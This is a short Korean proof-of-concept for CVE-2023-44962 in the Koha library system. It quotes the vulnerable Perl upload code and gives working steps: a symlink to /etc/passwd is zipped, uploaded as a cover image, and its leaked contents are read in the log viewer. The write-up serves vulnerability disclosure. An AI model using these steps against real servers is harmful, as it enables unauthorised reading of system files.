
CVE-2023-44962에 대한 PoC
CVE-2023-44962에 대한 PoC
upload-cover-image.pl에 심볼릭 링크를 포함하는 아카이브 파일을 업로드하면 연결된 파일의 일부 내용이 유출될 수 있습니다.
...
foreach my $dir (@directories) {
my $file;
if ( -e "$dir/idlink.txt" ) {
$file = "$dir/idlink.txt";
}
elsif ( -e "$dir/datalink.txt" ) {
$file = "$dir/datalink.txt";
}
else {
next;
}
if ( open( my $fh, '<', $file ) ) {
while ( my $line = <$fh> ) {
my $delim =
( $line =~ /\t/ ) ? "\t"
: ( $line =~ /,/ ) ? ","
: "";
unless ( $delim eq "," || $delim eq "\t" ) {
warn
"Unrecognized or missing field delimeter. Please verify that you are using either a ',' or a 'tab'";
$error = 'DELERR';
}
else {
( $biblionumber, $filename ) = split $delim, $line, 2;
$biblionumber =~
s/[\"\r\n]//g; # remove offensive characters
$filename =~ s/[\"\r\n]//g;
$filename =~ s/^\s+//;
$filename =~ s/\s+$//;
if (C4::Context->preference("CataloguingLog")) {
logaction('CATALOGUING', 'MODIFY', $biblionumber, "biblio cover image: $filename");
}
...
코드에서 확인할 수 있듯이, 추출된 파일에 idlink. txt 또는 datalink. txt가 포함되어 있으면 파일 내용을 읽어 , 또는 \t를 기준으로 나눕니다. 내용의 뒷부분은 $filename에 할당되며, CataloguingLog 속성이 활성화되어 있으면(기본적으로 활성화됨) $filename이 기록됩니다.
viewlog.pl에 접근하면 유출된 파일 내용을 볼 수 있습니다.
먼저 아카이브 파일을 생성합니다:
ln -s /etc/passwd datalink.txt
zip --symlinks datalink.zip datalink.txt
그런 다음 다음 URL에 접속하여 datalink.zip을 업로드합니다:
http://koha_ip:intranet_port/cgi-bin/koha/tools/upload-cover-image.pl
응답 코드는 500입니다.
그런 다음 다음 URL에 접속하여 파일 내용을 읽습니다:
http://192.168.176.139:8081/cgi-bin/koha/tools/viewlog.pl